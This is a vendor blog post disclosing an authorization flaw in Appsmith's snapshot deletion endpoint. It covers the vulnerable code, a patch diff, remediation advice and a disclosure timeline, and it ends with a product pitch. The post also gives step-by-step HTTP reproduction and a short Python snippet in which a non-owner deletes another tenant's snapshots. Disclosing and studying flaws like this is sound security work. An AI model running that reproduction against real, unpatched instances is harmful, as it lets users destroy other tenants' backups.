April 12th, 2026

# Uncovering a hidden BOLA in Appsmith's snapshot logic

Alex Schapiro

Following [our discovery of authentication bypass in etcd](https://www.strix.ai/blog/where-others-missed-it-etcd-auth-bypass), we turned our attention to Appsmith, a popular open-source platform for building internal tools with ~40k stars on GitHub.

## TL;DR

- Strix found and verified a BOLA/IDOR in Appsmith’s snapshot deletion flow ( **GHSA-g2hc-wmw2-32jr**).
- Any authenticated user could delete another tenant’s snapshots by supplying a target `applicationId`.

## Appsmith: Broken Object-Level Authorization (BOLA)

Appsmith is a popular open-source platform for building internal tools and custom portals.

Strix identified a BOLA/IDOR vulnerability within Appsmith's application snapshot system ( **GHSA-g2hc-wmw2-32jr**). It discovered that the snapshot deletion endpoint accepted a user-controlled application identifier without properly validating that the authenticated user actually had access to that application.

### The Impact:

An attacker with any authenticated account could delete the backup snapshots of applications they did not own. Because Application IDs (24-character hex strings) are trivially discoverable in the HTML source code or API traffic of public-facing applications, a malicious actor could easily scrape an ID and destroy another tenant's backup/restore points. This allows for cross-tenant sabotage, interrupting recovery workflows and destroying backup integrity.

### ID Discoverability

While Application IDs are 24-character hex strings, they are still easy to obtain in real-world usage. Strix observed that IDs can be pulled from normal HTML source and routine background API traffic for published apps. In practice, that means the identifier is not a meaningful barrier for cross-tenant abuse if authorization is missing on the delete path.

### How Strix Found It:

Strix analyzed the backend logic and realized the `ApplicationSnapshotServiceCEImpl.deleteSnapshot` method was directly deleting snapshot records by application ID without an authorization check.

Unlike the `restoreSnapshot` method, which correctly called `applicationService.findById(..., applicationPermission.getEditPermission())` to verify edit rights, the delete path skipped this entirely. It just executed `applicationSnapshotRepository.deleteAllByApplicationId()`.

```java
// delete path
applicationSnapshotRepository.deleteAllByApplicationId();

// restore path
applicationService.findById(..., applicationPermission.getEditPermission());
```

To validate exploitability end-to-end, Strix generated a two-user PoC and reproduced the issue in a realistic tenant scenario.

## Proof of Concept

### Preconditions

- Two authenticated users exist: User A (application owner) and User B (non-owner).
- A valid User A `applicationId` is known from normal product usage.

### Reproduction Flow (Generated by Strix)

1. Authenticate as User A and create a snapshot with `POST /api/v1/applications/snapshot/<APP_ID>`.
2. Confirm snapshot exists with `GET /api/v1/applications/snapshot/<APP_ID>` (`updatedTime` is non-null).
3. Authenticate as User B and confirm lack of access:
   - `POST /api/v1/applications/snapshot/<APP_ID>` returns `404`.
   - `GET /api/v1/applications/export/<APP_ID>` returns `404`.
4. As User B, call `DELETE /api/v1/applications/snapshot/<APP_ID>`.
5. Observe delete succeeds with `200` and `data: true`.
6. Re-check snapshot metadata and observe `updatedTime: null`.

```
POST /api/v1/applications/snapshot/<APP_ID>

DELETE /api/v1/applications/snapshot/<APP_ID>
```

Observed validation (sanitized):

- User A could create a snapshot and saw `updatedTime` set.
- User B could not create/export the target app (`404`) but could delete snapshot (`200`).
- After delete, `updatedTime` became `null`.

```
# exploit core: non-owner deletes owner snapshot
r_delete_b = req(
    "DELETE",
    f"/api/v1/applications/snapshot/{app_id}",
    cookies=cookies_b,
    headers={"X-Requested-By": "Appsmith"},
)
print("User B delete snapshot:", r_delete_b.status_code)
```

## Code Analysis

During root-cause analysis, Strix identified the vulnerable sink in:
`app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/ApplicationSnapshotServiceCEImpl.java`

```java
@Override
public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
    return applicationSnapshotRepository
            .deleteAllByApplicationId(branchedApplicationId)
            .thenReturn(Boolean.TRUE);
}
```

The endpoint was publicly reachable through:
`app/server/appsmith-server/src/main/java/com/appsmith/server/controllers/ce/ApplicationControllerCE.java`

```java
@JsonView(Views.Public.class)
@DeleteMapping("/snapshot/{branchedApplicationId}")
public Mono<ResponseDTO<Boolean>> deleteSnapshotWithoutApplicationJson(@PathVariable String branchedApplicationId) {
    return applicationSnapshotService
            .deleteSnapshot(branchedApplicationId)
            .map(isDeleted -> new ResponseDTO<>(HttpStatus.OK, isDeleted));
}
```

Strix surfaced the fix pattern below to enforce object-level authorization before delete:

```diff
- public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
-     return applicationSnapshotRepository
-             .deleteAllByApplicationId(branchedApplicationId)
-             .thenReturn(Boolean.TRUE);
- }
+ public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
+     return applicationService
+             .findById(branchedApplicationId, applicationPermission.getEditPermission())
+             .switchIfEmpty(Mono.error(new AppsmithException(
+                     AppsmithError.NO_RESOURCE_FOUND, FieldName.APPLICATION, branchedApplicationId)))
+             .flatMap(application -> applicationSnapshotRepository.deleteAllByApplicationId(application.getId()))
+             .thenReturn(Boolean.TRUE);
+ }
```

## Remediation

Strix recommended:

1. Enforce object-level authorization in snapshot deletion by resolving application access before delete.
2. Align authorization checks across snapshot create/restore/delete paths.
3. Add regression tests to ensure non-owners cannot delete another tenant's snapshots.
4. Review whether unauthenticated snapshot metadata exposure is required for product behavior.

The Appsmith team quickly validated the issue and shipped a patch to enforce the `getEditPermission()` check.

## Timeline

Initial Contact: On February 19, 2026, we submitted the report via Github Security Advisories.

March 19, 2026: Appsmith confirmed the vulnerability as a valid BOLA/IDOR issue, acknowledged the missing authorization check on `deleteSnapshot`, and confirmed a fix plan.

March 24, 2026: The advisory was published.

## Conclusion

Strix found a BOLA/IDOR in Appsmith's snapshot deletion path, proved it with a two-user PoC, and gave the maintainers the exact sink and fix pattern needed to ship a patch.

These bugs were found where thousands of others missed them. Try Strix on your own apps now and see what it finds before attackers do.
